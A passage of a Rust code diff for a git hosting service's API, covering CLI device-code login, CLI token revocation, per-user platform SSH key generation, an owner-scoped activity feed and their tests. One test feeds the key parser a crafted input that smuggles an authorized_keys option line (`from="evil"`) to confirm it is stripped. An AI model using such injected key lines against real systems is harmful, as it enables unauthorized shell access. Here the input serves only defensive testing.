handed out: `user_identity` honours a `cli` token + // only while its row stands, so a token whose row was never written is inert rather than a + // 30-day credential nobody can revoke. + let row = Credential { + id: claims.jti.clone(), + kind: CredentialKind::CliToken, + owner: username, + created_by: who.email, + name: device, + material: String::new(), + fingerprints: Vec::new(), + created_at: mongodb::bson::DateTime::now(), + }; + match db.add_credential(&row).await { + Ok(Some(())) => {} + Ok(None) => { + tracing::error!(jti = %row.id, "recording cli token: id already taken"); + return (StatusCode::BAD_GATEWAY, "could not sign you in").into_response(); + } + Err(e) => { + tracing::error!(error = %e, "recording cli token"); + return (StatusCode::BAD_GATEWAY, "could not sign you in").into_response(); + } + } + // The pending check above was a separate read, so two approvals of one code can both reach + // here. The winner is decided by the update's own filter; the loser deletes the row it + // wrote, because a live row for a token that will never be delivered is a login nobody made + // and nobody can recognise to revoke. + let stored = match db.approve_cli_login(&code, &token, claims.exp).await { + Ok(v) => v, + Err(e) => { + tracing::error!(error = %e, "approving cli login code"); + false + } + }; + if !stored { + if let Err(e) = db.forget_credential(&row.id).await { + tracing::warn!(jti = %row.id, error = %e, "unwinding a cli token nobody will collect"); + } + return (StatusCode::CONFLICT, "that code was already used").into_response(); + } + StatusCode::NO_CONTENT.into_response() +} + +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct PendingCode { + /// What the CLI called itself when it asked for the code. Free text from an unauthenticated + /// caller, so the page renders it as text and never as markup. + device: String, + /// RFC3339, like every other instant these routes answer with. + expires_at: String, +} + +/// What the approval page shows before it offers a button: WHICH machine is asking. +/// +/// A page that approves a prefilled code with one click and names no device asks the person to +/// confirm nothing — the only check they can make is "is this my terminal", and that needs the +/// device on screen. Browser SESSION only, same rule as `cli_approve`. +/// +/// 404 for unknown, expired and already-approved alike, exactly as `cli_approve` does: a guesser +/// must not learn that some other code exists. +pub(crate) async fn cli_pending_code( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(code): axum::extract::Path, +) -> Response { + if let Err(r) = identify(&api, &headers) { + return r; + } + let code = code.trim().to_uppercase(); + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match db.cli_login_pending(&code).await { + Ok(Some(p)) => axum::Json(PendingCode { + device: p.device, + expires_at: rfc3339(p.expires_at.timestamp_millis()), + }) + .into_response(), + Ok(None) => (StatusCode::NOT_FOUND, "no such code").into_response(), + Err(e) => { + tracing::error!(error = %e, "looking up cli login code"); + (StatusCode::BAD_GATEWAY, "could not look that up").into_response() + } + } +} + +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct CliToken { + token: String, + /// RFC3339, like every other instant `/v1/cli/*` answers with — the CLI writes it into its + /// config file, where an epoch number is unreadable and a BSON `$date` is not JSON anyone + /// else parses. + expires_at: String, +} + +/// The CLI polls this. 202 while nobody has approved it, 200 with the token exactly once, 410 +/// after that — a token handed to two pollers is a token stolen by whoever asked twice. +/// +/// 200 answers `{ token, expiresAt }`, `expiresAt` an RFC3339 string. +pub(crate) async fn cli_token( + State(api): State>, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let poll = q.get("poll").map(String::as_str).unwrap_or_default(); + if poll.is_empty() { + return (StatusCode::GONE, "that login expired").into_response(); + } + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match db.take_cli_login(poll).await { + Ok(None) => (StatusCode::GONE, "that login expired").into_response(), + Ok(Some(CliLogin { token: None, .. })) => StatusCode::ACCEPTED.into_response(), + Ok(Some(CliLogin { token: Some(token), token_exp, .. })) => { + axum::Json(CliToken { token, expires_at: rfc3339(token_exp as i64 * 1000) }).into_response() + } + Err(e) => { + tracing::error!(error = %e, "collecting cli login token"); + (StatusCode::BAD_GATEWAY, "could not sign you in").into_response() + } + } +} + +/// Epoch milliseconds as RFC3339. One spelling for every instant these routes answer with. +fn rfc3339(ms: i64) -> String { + mongodb::bson::DateTime::from_millis(ms).try_to_rfc3339_string().unwrap_or_default() +} + +/// The signed-in person's CLI logins. +/// +/// Answers `[{ id, name, createdAt, expiresAt }]`, both instants RFC3339 strings. +/// +/// Defaults to the caller's own handle — a CLI token is personal, and asking someone to name +/// themselves in a query string to see their own logins is a footgun the CLI would just get +/// wrong. `?owner=` stays as an override, still gated by `may_act_under`. +pub(crate) async fn list_cli_tokens( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let owner = match owner_param(&q) { + Ok(o) => o, + Err(_) => match user_identity(&api, &headers).await { + Ok(i) => match i.username.filter(|u| !u.trim().is_empty()) { + Some(u) => u, + None => return (StatusCode::BAD_REQUEST, "owner is required").into_response(), + }, + Err(r) => return r, + }, + }; + let (_, db) = match credential_caller(&api, &headers, &owner).await { + Ok(v) => v, + Err(r) => return r, + }; + match db.credentials_for(&owner, CredentialKind::CliToken).await { + // Not the raw row: `expiresAt` is what the settings page shows, and it is not stored — + // the token's TTL is fixed, so it is the creation instant plus that. + Ok(list) => axum::Json( + list.iter() + .map(|c| { + serde_json::json!({ + "id": c.id, + "name": c.name, + "createdAt": rfc3339(c.created_at.timestamp_millis()), + "expiresAt": rfc3339( + c.created_at.timestamp_millis() + crate::jwt::CLI_TTL_SECS as i64 * 1000, + ), + }) + }) + .collect::>(), + ) + .into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "list cli tokens"); + (StatusCode::BAD_GATEWAY, "could not list logins").into_response() + } + } +} + +pub(crate) async fn revoke_cli_token( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(id): axum::extract::Path, +) -> Response { + revoke(api, headers, id, CredentialKind::CliToken).await +} + + +// ── the platform-issued key ────────────────────────────────────────────── +// +// One keypair per user, generated by us rather than supplied by them. The private half is written +// into every workspace so `git push` from inside one works without anybody pasting a credential; +// the public half is registered exactly like a user-added key, so the auth path is unchanged. +// +// The blast radius is real and worth stating where someone will read it: the key is the user's git +// identity, and it sits in every workspace they own, readable by anything running there — a +// malicious postinstall included. Regenerating is the remedy, which is why revocation is part of +// rotation rather than a separate chore. +// ponytail: one key for every workspace; a key per workspace would confine a compromise to one, +// at the cost of a fingerprint per workspace to list and revoke. + +/// `ssh-keygen`, not a Rust keygen crate — the same choice `boot.rs` makes for the host key, for +/// the same reason: it avoids a second `rand_core` in the graph, and every image here already +/// carries `openssh-client`. +/// +/// The scratch directory is `RUSTIC_GIT_CACHE_DIR`, NOT `/tmp`. These pods run with +/// `readOnlyRootFilesystem: true`, so `/tmp` is not writable and `tempfile`'s default location +/// fails with "Read-only file system" before ssh-keygen is ever reached. The cache mount is the +/// one writable path the pod has. +fn generate_ed25519() -> std::io::Result<(String, String)> { + // Not created if missing: it is a mount in every deployment, so an absent one is a + // misconfiguration that should fail loudly rather than silently scratch somewhere else. + let scratch = std::env::var("RUSTIC_GIT_CACHE_DIR").unwrap_or_else(|_| "/tmp".to_string()); + let dir = tempfile::Builder::new().prefix("keygen").tempdir_in(&scratch)?; + let path = dir.path().join("id_ed25519"); + let out = std::process::Command::new("ssh-keygen") + .args(["-q", "-t", "ed25519", "-N", "", "-C", "rustic-git", "-f"]) + .arg(&path) + .output()?; + if !out.status.success() { + return Err(std::io::Error::other(String::from_utf8_lossy(&out.stderr).to_string())); + } + let private = std::fs::read_to_string(&path)?; + let public = std::fs::read_to_string(path.with_extension("pub"))?; + Ok((private, public.trim().to_string())) +} + +/// Sets an env var for the life of the guard. Tests only — `set_var` is process-global, so this +/// exists to put it back rather than leak into whatever test runs next. +#[cfg(test)] +struct EnvGuard(&'static str, Option); + +#[cfg(test)] +impl EnvGuard { + fn set(k: &'static str, v: &str) -> Self { + let old = std::env::var(k).ok(); + std::env::set_var(k, v); + EnvGuard(k, old) + } +} + +#[cfg(test)] +impl Drop for EnvGuard { + fn drop(&mut self) { + match &self.1 { + Some(v) => std::env::set_var(self.0, v), + None => std::env::remove_var(self.0), + } + } +} + +#[derive(serde::Serialize)] +pub(crate) struct PlatformKey { + pub public: String, + pub fingerprint: String, +} + +/// The user's platform key, generating one on first read. +/// +/// Lazy rather than hooked into user creation: an account that never opens a workspace never needs +/// one, and "generate on signup" is a migration for every account that already exists. +pub(crate) async fn platform_key( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let owner = match owner_param(&q) { + Ok(o) => o, + Err(r) => return r, + }; + if let Err(r) = credential_caller(&api, &headers, &owner).await { + return r; + } + match ensure_platform_key(&api, &owner, false).await { + Ok(k) => axum::Json(k).into_response(), + Err(r) => r, + } +} + +/// Replace the key, revoking the old one. +pub(crate) async fn regenerate_platform_key( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let owner = match owner_param(&q) { + Ok(o) => o, + Err(r) => return r, + }; + if let Err(r) = credential_caller(&api, &headers, &owner).await { + return r; + } + match ensure_platform_key(&api, &owner, true).await { + Ok(k) => axum::Json(k).into_response(), + Err(r) => r, + } +} + +async fn ensure_platform_key(api: &Api, owner: &str, force: bool) -> std::result::Result { + // Every arm below logs before it answers. The first cut returned a bare 502, so a pod that + // could not write a key looked identical to one that was never asked — the logs said nothing + // at all while the page showed "Could not load the key". + let bad = |what: &str| { + tracing::error!(%owner, reason = what, "platform key"); + (StatusCode::BAD_GATEWAY, what.to_string()).into_response() + }; + + let existing = api.store.user_key(owner).await.map_err(|_| bad("could not read the key"))?; + let old_fp = existing.as_deref().and_then(|p| fingerprint_of_private(p).ok()); + + if !force { + if let Some(private) = &existing { + let (public, fingerprint) = + public_of_private(private).map_err(|_| bad("stored key is unreadable"))?; + return Ok(PlatformKey { public, fingerprint }); + } + } + + let (private, public) = generate_ed25519().map_err(|_| bad("could not generate a key"))?; + // The same fingerprint the auth path indexes by, so a generated key is looked up exactly + // like a user-added one. + let fingerprint = ssh_fingerprint(&public).map_err(|_| bad("generated key is unreadable"))?; + api.store + .rotate_user_key(owner, &private, &fingerprint, old_fp.as_deref()) + .await + .map_err(|_| bad("could not install the key"))?; + tracing::info!(%owner, replaced = old_fp.is_some(), "installed a platform key"); + Ok(PlatformKey { public, fingerprint }) +} + +/// The OpenSSH public line and fingerprint for a private key. +fn public_of_private(private: &str) -> std::result::Result<(String, String), ()> { + let key = russh::keys::PrivateKey::from_openssh(private).map_err(|_| ())?; + let public = key.public_key().to_openssh().map_err(|_| ())?; + let fp = ssh_fingerprint(&public).map_err(|_| ())?; + Ok((public, fp)) +} + +fn fingerprint_of_private(private: &str) -> std::result::Result { + public_of_private(private).map(|(_, fp)| fp) +} + + +#[cfg(test)] +mod tests { + use super::*; + + fn cred(name: &str, material: &str) -> Credential { + Credential { + id: name.into(), + kind: CredentialKind::SshKey, + owner: "alice".into(), + created_by: "alice@example.com".into(), + name: name.into(), + material: material.into(), + fingerprints: Vec::new(), + created_at: mongodb::bson::DateTime::now(), + } + } + + /// An ssh key has to keep its public line now — `authorized_keys` cannot be rebuilt from a + /// fingerprint — without disturbing the GPG case, which has always kept its armour whole. + #[test] + fn an_ssh_key_keeps_its_material_and_a_gpg_key_still_keeps_its_own() { + let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExample alice@laptop"; + assert_eq!(key_material(line, false), line); + // Whitespace and anything past the comment are dropped: a fourth field in + // `authorized_keys` is not a comment, and a leading one would be `command=`. + assert_eq!( + key_material(" ssh-ed25519 AAAAC3Nz alice@laptop\nfrom=\"evil\" ssh-rsa AAAA x", false), + "ssh-ed25519 AAAAC3Nz alice@laptop" + ); + let armour = "-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmDMEY\n-----END PGP PUBLIC KEY BLOCK-----\n"; + assert_eq!(key_material(armour, true), armour); + } + + /// One line per key, and nothing at all for the keys registered before material was kept — + /// a blank line in `authorized_keys` is a syntax error sshd rejects the whole file over. + #[test] + fn authorized_keys_is_one_line_per_key_and_skips_keys_added_before_material_was_kept() { + let keys = [ + cred("new", "ssh-ed25519 AAAA alice@laptop"), + cred("old", ""), + cred("newer", "ssh-rsa BBBB alice@desktop"), + ]; + assert_eq!( + authorized_keys_lines(&keys), + "ssh-ed25519 AAAA alice@laptop\nssh-rsa BBBB alice@desktop" + ); + assert_eq!(authorized_keys_lines(&[cred("old", " ")]), ""); + } + + async fn cli_api() -> Arc { + let mut api = crate::testing::test_api_with_secret("peer").await; + api.jwt = Some(Arc::new(crate::jwt::Jwt::new("0123456789012345678901234567890123456789").unwrap())); + Arc::new(api) + } + + fn session(api: &Api) -> axum::http::HeaderMap { + let tok = api.jwt.as_ref().unwrap().mint("alice@example.com", "Alice", Some("alice")).unwrap(); + let mut h = axum::http::HeaderMap::new(); + h.insert(axum::http::header::AUTHORIZATION, format!("Bearer {tok}").parse().unwrap()); + h + } + + /// Every step of the handshake lives in the directory now (the api has more than one + /// replica, so memory was the bug). Without one, each step fails CLOSED — a 503, never a + /// code that looks issued or a token that looks collectable. The exactly-once handover is + /// the `take_cli_login` delete filter — Mongo's, not ours, and the one thing here no + /// in-process test can reach. + #[tokio::test] + async fn the_cli_code_flow_fails_closed_without_a_directory() { + use axum::extract::Path; + let api = cli_api().await; + let r = cli_code(State(api.clone()), axum::Json(DeviceCodeRequest { device: "karthik-mbp".into() })).await; + assert_eq!(r.status(), StatusCode::SERVICE_UNAVAILABLE); + + let q = |p: &str| axum::extract::Query(std::collections::HashMap::from([("poll".into(), p.to_string())])); + // An empty poll id names nothing and never reaches storage. + assert_eq!(cli_token(State(api.clone()), q("")).await.status(), StatusCode::GONE); + assert_eq!(cli_token(State(api.clone()), q("abc")).await.status(), StatusCode::SERVICE_UNAVAILABLE); + + // Approval and the device lookup are a signed-in person's acts, checked BEFORE storage. + let anon = axum::http::HeaderMap::new(); + let r = cli_approve(State(api.clone()), anon.clone(), axum::Json(ApproveRequest { code: "ZZZZ-ZZZZ".into() })).await; + assert_eq!(r.status(), StatusCode::UNAUTHORIZED); + let r = cli_approve(State(api.clone()), session(&api), axum::Json(ApproveRequest { code: "zzzz-zzzz".into() })).await; + assert_eq!(r.status(), StatusCode::SERVICE_UNAVAILABLE); + let r = cli_pending_code(State(api.clone()), anon, Path("ZZZZ-ZZZZ".into())).await; + assert_eq!(r.status(), StatusCode::UNAUTHORIZED, "the device is not anonymous to read"); + let r = cli_pending_code(State(api.clone()), session(&api), Path("ZZZZ-ZZZZ".into())).await; + assert_eq!(r.status(), StatusCode::SERVICE_UNAVAILABLE); + } + + /// Shaped so a human can read it aloud: four and four, a dash between, nothing that can be + /// mistyped or spells anything. + #[test] + fn a_device_code_is_readable_aloud() { + let code = random_code(); + assert_eq!(code.len(), 9, "{code}"); + assert_eq!(&code[4..5], "-"); + assert!(code.bytes().filter(|b| *b != b'-').all(|b| CODE_ALPHABET.contains(&b)), "{code}"); + } + + /// A CLI login has to be able to revoke ITSELF — otherwise `kl logout` needs a browser. + /// `revoke` used to go through `identify`, which refuses a `cli` token outright. + /// + /// The proof this test can make without a directory is where it STOPS: a session or a cli + /// token both get past authentication and stop at the missing directory (503), while a + /// caller with no token at all never gets that far (401). + #[tokio::test] + async fn a_cli_token_gets_past_auth_to_revoke_its_own_jti() { + let api = cli_api().await; + let (token, claims) = + api.jwt.as_ref().unwrap().mint_cli("alice@example.com", "Alice", Some("alice")).unwrap(); + let mut h = axum::http::HeaderMap::new(); + h.insert(axum::http::header::AUTHORIZATION, format!("Bearer {token}").parse().unwrap()); + + let r = revoke_cli_token(State(api.clone()), h, axum::extract::Path(claims.jti.clone())).await; + assert_eq!(r.status(), StatusCode::SERVICE_UNAVAILABLE, "a cli token must reach the lookup"); + + let r = revoke_cli_token( + State(api.clone()), + axum::http::HeaderMap::new(), + axum::extract::Path(claims.jti), + ) + .await; + assert_eq!(r.status(), StatusCode::UNAUTHORIZED); + } +} + +#[cfg(test)] +mod platform_key_tests { + /// The pods run with a read-only root, so a generator that scratches in `/tmp` fails in the + /// cluster and nowhere else — which is exactly how it shipped the first time. + /// + /// The teeth are the unwritable case: generation must FAIL when `RUSTIC_GIT_CACHE_DIR` cannot + /// be used. A generator that ignored the variable and reached for the system temp dir would + /// succeed there, and this would fail. Deliberately NOT done by setting `TMPDIR` — that is + /// process-global, and the first version of this test broke four unrelated tests that call + /// `std::env::temp_dir()` on another thread. + #[test] + fn keys_generate_in_the_cache_dir_and_nowhere_else() { + let home = tempfile::tempdir().unwrap(); + + let good = super::EnvGuard::set("RUSTIC_GIT_CACHE_DIR", home.path().to_str().unwrap()); + let (private, public) = super::generate_ed25519().expect("generate"); + drop(good); + + assert!(private.starts_with("-----BEGIN OPENSSH PRIVATE KEY-----")); + assert!(public.starts_with("ssh-ed25519 ")); + // The fingerprint the auth path indexes by has to be derivable from what we hand back. + let fp = super::ssh_fingerprint(&public).expect("fingerprint"); + assert!(fp.starts_with("SHA256:"), "{fp}"); + // The private half has to round-trip to the same public line: rotation reads the stored + // private key to answer "what is my key" on every later page load. + let (again, fp2) = super::public_of_private(&private).expect("round trip"); + assert_eq!(again, public); + assert_eq!(fp2, fp); + + // A scratch dir that does not exist. `tempdir_in` fails on it; the system temp dir would + // not — which is precisely the difference this test exists to detect. + let bad = super::EnvGuard::set( + "RUSTIC_GIT_CACHE_DIR", + home.path().join("absent").to_str().unwrap(), + ); + let r = super::generate_ed25519(); + drop(bad); + assert!(r.is_err(), "generation must use the cache dir, not the system temp dir"); + } +} diff --git a/crates/api/src/feed.rs b/crates/api/src/feed.rs new file mode 100644 index 00000000..f87c0e8e --- /dev/null +++ b/crates/api/src/feed.rs @@ -0,0 +1,535 @@ +use super::*; + +/// `GET /v1/repos?owner=X`. Members only: a stranger's view of a namespace is a +/// different question (which repos are PUBLIC), and answering it from here would +/// mean this route decided visibility for two audiences at once. +/// GET a browse route from the owning node, for the feed. +/// +/// `None` for anything that did not work. One unreachable or empty repo must not +/// empty the whole feed — a glance at what happened is worth having in part. +pub(crate) async fn feed_get(api: &Api, owner: &str, path: String) -> Option { + let res = api + .client + .get(format!("{}{path}", api.upstream)) + .header(crate::proxy::PEER_HEADER, &api.secret) + .header(crate::proxy::OWNER_HEADER, owner) + .send() + .await + .ok()?; + if !res.status().is_success() { + return None; + } + read_bounded(res).await.ok().map(|b| String::from_utf8_lossy(&b).into_owned()) +} + +/// The half of the feed that does not depend on Redis at all: the listing markers, one row each. +pub(crate) fn repo_created(r: &RepoOut) -> Event { + Event { + kind: "repo_created".into(), + repo: r.name.clone(), + actor: r.created_by.clone(), + title: format!("created {}", r.name), + detail: if r.public { "public".into() } else { "private".into() }, + at: r.created_at / 1000, + href: format!("/{}/{}", r.owner, r.name), + } +} + +/// Turns a stream `events::Event` into a feed row, or `None` for kinds the feed does not show +/// (`PullCommented`, `MergeRequested`, `HeadMoved` — noise for a glance-at-it rail). `title`/ +/// `detail` are built off the `title`/`base`/`head` the publisher carried on the event, which is +/// now the only source for the PR half of the feed. An event from before that field existed carries them empty +/// (see `events::from_fields`), so this degrades to a plain "opened #7" rather than failing. +pub(crate) fn pull_event(e: events::Event, name: String) -> Option { + let (kind, verb, detail) = match e.kind { + Kind::PullOpened => ("pull_opened", "opened", format!("{} into {}", e.head, e.base)), + Kind::PullMerged => ("pull_merged", "merged", format!("into {}", e.base)), + Kind::PullClosed => ("pull_closed", "closed", format!("into {}", e.base)), + Kind::PullCommented | Kind::MergeRequested | Kind::HeadMoved => return None, + }; + // `e.repo` is `owner/name`; the route is `[owner]/[repo]/pulls/[number]` — the bare `name` + // alone 404s. + let repo = e.repo.clone(); + Some(Event { + kind: kind.into(), + href: format!("/{repo}/pulls/{}", e.number), + title: format!("{verb} #{} {}", e.number, e.title).trim_end().to_string(), + detail, + repo: name, + actor: e.actor, + at: e.at_ms / 1000, + }) +} + +/// How many owning nodes the feed asks at once, and how long it waits for all of them. Serial +/// was up to 20 repos times two GETs on the 15 s client timeout each — minutes, for any member +/// who opened the page while one node was slow. Whatever has answered by the deadline is the +/// feed; a repo that has not is simply absent from a glance-at-it rail. +pub(crate) const FEED_FANOUT: usize = 4; +pub(crate) const FEED_DEADLINE: std::time::Duration = std::time::Duration::from_secs(5); + +/// The commit half of the feed: the newest repos first, only a few of them, each a round trip to +/// the node that owns it — a feed nobody scrolls should not cost one request per repo in the +/// namespace. +pub(crate) async fn commits_across(api: &Api, repos: &[RepoOut], feed_repos: usize, per_repo: usize) -> Vec { + use futures::StreamExt as _; + let deadline = tokio::time::Instant::now() + FEED_DEADLINE; + // Built up front rather than mapped lazily: a closure borrowing `api` and `r` trips the + // higher-ranked lifetime check that `buffer_unordered` on a stream of borrows needs. + let futs: Vec<_> = repos.iter().take(feed_repos).map(|r| repo_commits(api, r, per_repo)).collect(); + let mut batches = futures::stream::iter(futs).buffer_unordered(FEED_FANOUT); + let mut events = Vec::new(); + while let Ok(Some(batch)) = tokio::time::timeout_at(deadline, batches.next()).await { + events.extend(batch); + } + events +} + +/// One repo's latest commits. Two calls, not one: `log` starts from an OID, and the tip of a +/// branch is exactly the thing that changes. Asking for the refs first is also what makes an +/// empty repo cost nothing here. +async fn repo_commits(api: &Api, r: &RepoOut, per_repo: usize) -> Vec { + let mut events = Vec::new(); + let Some(refs) = feed_get(api, &r.owner, format!( + "/api/{}/{}/refs", encode(&r.owner), encode(&r.name) + )).await else { return events }; + let Ok(refs) = serde_json::from_str::>(&refs) else { return events }; + let tip = refs + .iter() + .find(|x| x.get("kind").and_then(|v| v.as_str()) == Some("branch") + && x.get("name").and_then(|v| v.as_str()).is_some_and(|n| n.ends_with("/main") || n.ends_with("/master"))) + .or_else(|| refs.iter().find(|x| x.get("kind").and_then(|v| v.as_str()) == Some("branch"))) + .and_then(|x| x.get("oid").and_then(|v| v.as_str())); + let Some(tip) = tip else { return events }; + + let Some(body) = feed_get(api, &r.owner, format!( + "/api/{}/{}/log/{}?n={per_repo}", encode(&r.owner), encode(&r.name), encode(tip) + )).await else { return events }; + let Ok(commits) = serde_json::from_str::>(&body) else { return events }; + for c in commits { + let oid = c.get("oid").and_then(|v| v.as_str()).unwrap_or_default().to_string(); + let msg = c.get("message").and_then(|v| v.as_str()).unwrap_or_default(); + let title = msg.lines().next().unwrap_or_default().to_string(); + let at = c.get("time").and_then(|v| v.as_i64()).unwrap_or(0); + if oid.is_empty() { + continue; + } + events.push(Event { + kind: "commit".into(), + repo: r.name.clone(), + actor: c.get("author").and_then(|v| v.as_str()).unwrap_or_default().to_string(), + title, + detail: oid.chars().take(7).collect(), + at, + href: format!("/{}/{}/commit/{}", r.owner, r.name, oid), + }); + } + events +} + +/// One thing that happened, as the feed shows it. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct Event { + /// `commit` | `pull_opened` | `pull_merged` | `repo_created` + kind: String, + repo: String, + /// Who did it. The empty string when only the system knows. + actor: String, + title: String, + /// The short thing under the title — a sha, a branch, a number. + detail: String, + /// Seconds since the epoch. Formatted by the reader, in their locale. + at: i64, + /// Where clicking it goes, relative to the site root. + href: String, +} + +/// The rail's worth of feed, and the whole page's. +/// +/// Each repo read costs two upstream round trips, so the depth is what the caller +/// is paying for. A rail is a glance at half a dozen repos; the page is willing to +/// walk further, but still not the whole namespace — an archive would need the +/// event log this deliberately does not keep. +pub(crate) const FEED_EVENTS: usize = 10; +pub(crate) const FEED_EVENTS_MAX: usize = 100; +pub(crate) fn feed_depth(events: usize) -> (usize, usize) { + if events <= FEED_EVENTS { (6, 5) } else { (20, 20) } +} + +/// What has happened lately across an owner's repos. +/// +/// DERIVED, not recorded. Nothing writes an event log — the feed is assembled +/// from what the directory and git already know, which means it is correct for +/// repos that existed long before it, and there is no second copy of the truth +/// to drift. The cost is that it can only show what those two sources record: a +/// commit, a change opened or merged, a repo created. A deploy or a pipeline run +/// is not in here because nothing in this system knows about one. +pub(crate) async fn activity( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let Some(owner) = q.get("owner").map(|s| s.trim()).filter(|s| !s.is_empty()) else { + return (StatusCode::BAD_REQUEST, "owner is required").into_response(); + }; + // Clamped, not rejected: a caller asking for a thousand wants as many as we + // will give, not an error. + let want = q + .get("limit") + .and_then(|v| v.parse::().ok()) + .unwrap_or(FEED_EVENTS) + .clamp(1, FEED_EVENTS_MAX); + let (feed_repos, per_repo) = feed_depth(want); + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match may_act_under(db, &user, owner).await { + Ok(true) => {} + Ok(false) => return (StatusCode::NOT_FOUND, "no such owner").into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "feed authorization"); + return (StatusCode::BAD_GATEWAY, "could not read the feed").into_response(); + } + } + + // Membership was just established, so the private names under this owner are this caller's + // to see — the same order `list_repos` uses before it passes `true` on. + let repos = match repo_listing(&api, owner, true).await { + Ok(r) => r, + Err(e) => { + tracing::error!(owner = %owner, error = %e, "feed repos"); + return (StatusCode::BAD_GATEWAY, "could not read the feed").into_response(); + } + }; + + let mut events: Vec = Vec::new(); + + events.extend(repos.iter().map(repo_created)); + + // `owner/name`, not the bare name: `e.repo` on a stream event is also `owner/name`, and a + // same-named repo under a different owner must never match (that was the leak — filtering + // on the basename let `bob/web`'s events through alice's `alice/web` feed). + let scope: std::collections::HashSet = + repos.iter().map(|r| format!("{}/{}", r.owner, r.name)).collect(); + let stream_events: Vec = api + .cache + .xrevrange("events", want.max(FEED_EVENTS_MAX)) + .await + .iter() + .filter_map(|(_, fields)| { + let e = events::from_fields(fields)?; + // Events are global, one stream for every repo; the feed is per-owner. Only + // `repo_listing` told us which repos this caller may see, so filter to those, on the + // full `owner/name` — see `scope` above for why the bare name is not enough. + if !scope.contains(&e.repo) { + return None; + } + let name = e.repo.split('/').next_back().unwrap_or(&e.repo).to_string(); + pull_event(e, name) + }) + .take(want) + .collect(); + + events.extend(stream_events); + // No fallback here on purpose. The PR half of the feed is stream-only now: a Redis flush + // thins it out until new events arrive, and that is accepted. It loses no truth — every + // repo's pull requests stay complete and readable from the node that owns them, and only + // this aggregated VIEW goes quiet. The obvious alternative, asking each owning node for its + // repo's pulls, is forbidden by the no-peer-fan-out-on-the-read-path rule: a rolling restart + // must never break a listing. The feed does not go blank either — its `repo_created` half + // above reads the listing markers, which are durable object-store keys, not the stream. + + events.extend(commits_across(&api, &repos, feed_repos, per_repo).await); + + events.sort_by_key(|e| std::cmp::Reverse(e.at)); + events.truncate(want); + axum::Json(events).into_response() +} + + +#[cfg(test)] +mod tests { + use super::*; + use crate::testing::*; + + /// Puts one entry on the stream the way an owning node does, so the feed tests need no fleet. + #[allow(clippy::too_many_arguments)] + async fn publish_pull_event( + cache: &Cache, + kind: Kind, + repo: &str, + number: i64, + actor: &str, + title: &str, + base: &str, + head: &str, + ) { + let at_ms = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis() as i64; + events::publish( + cache, + &events::Event { + kind, + repo: repo.to_string(), + number, + actor: actor.to_string(), + at_ms, + title: title.to_string(), + base: base.to_string(), + head: head.to_string(), + }, + ) + .await; + } + + /// The commit half asks the owning nodes concurrently, but never more than `FEED_FANOUT` at + /// once — a rolling restart must not turn one member's page view into a thundering herd, and + /// serial was minutes when one node stalled. + #[tokio::test(flavor = "multi_thread")] + async fn commits_fan_out_under_a_concurrency_cap() { + use axum::{extract::Path, routing::get, Router}; + use std::sync::atomic::{AtomicUsize, Ordering}; + let inflight = Arc::new(AtomicUsize::new(0)); + let peak = Arc::new(AtomicUsize::new(0)); + let peak2 = peak.clone(); + let gate = move || { + let (i, p) = (inflight.clone(), peak.clone()); + async move { + let now = i.fetch_add(1, Ordering::SeqCst) + 1; + p.fetch_max(now, Ordering::SeqCst); + tokio::time::sleep(std::time::Duration::from_millis(30)).await; + i.fetch_sub(1, Ordering::SeqCst); + } + }; + let (g1, g2) = (gate.clone(), gate); + let app = Router::new() + .route("/api/{owner}/{name}/refs", get(move |Path((_, name)): Path<(String, String)>| { + let g = g1(); + async move { + g.await; + axum::Json(serde_json::json!([{"kind": "branch", "name": "refs/heads/main", "oid": name}])) + } + })) + .route("/api/{owner}/{name}/log/{oid}", get(move |Path((_, name, _)): Path<(String, String, String)>| { + let g = g2(); + async move { + g.await; + axum::Json(serde_json::json!([{"oid": format!("{name}0000000"), "message": name, "time": 1, "author": "a"}])) + } + })); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let base = format!("http://{}", l.local_addr().unwrap()); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + + let api = Api { upstream: base, ..test_api_with_secret("s").await }; + let repos: Vec = (0..12) + .map(|i| RepoOut { + id: format!("alice/r{i}"), + owner: "alice".into(), + name: format!("r{i}"), + public: true, + description: String::new(), + created_by: "alice@example.com".into(), + created_at: 0, + }) + .collect(); + let events = commits_across(&api, &repos, repos.len(), 5).await; + assert_eq!(events.len(), 12, "every repo answered"); + let peak = peak2.load(Ordering::SeqCst); + assert!(peak > 1, "the fan-out is concurrent, not serial"); + assert!(peak <= FEED_FANOUT, "in-flight peaked at {peak}, over the cap"); + } + + /// The feed's `XREVRANGE` read must come back newest-first and capped at the requested + /// count — the same guarantee `activity()` leans on to build the PR half of the feed without + /// a full Mongo scan — and each opened PR must land as exactly ONE entry carrying its `repo` + /// and `number`. Exercised against `Cache` + `pull_event` directly rather than through the + /// HTTP handler: `activity()` needs a live Mongo-backed `Directory` this suite has no + /// fixture for, but the publish and the read are what is under test. + #[tokio::test] + async fn xrevrange_feed_events_are_newest_first_capped_at_n() { + let api = test_api_with_secret("s").await; + for n in 1..=3 { + publish_pull_event( + &api.cache, + Kind::PullOpened, + "alice/web", + n, + "alice@example.com", + "fix 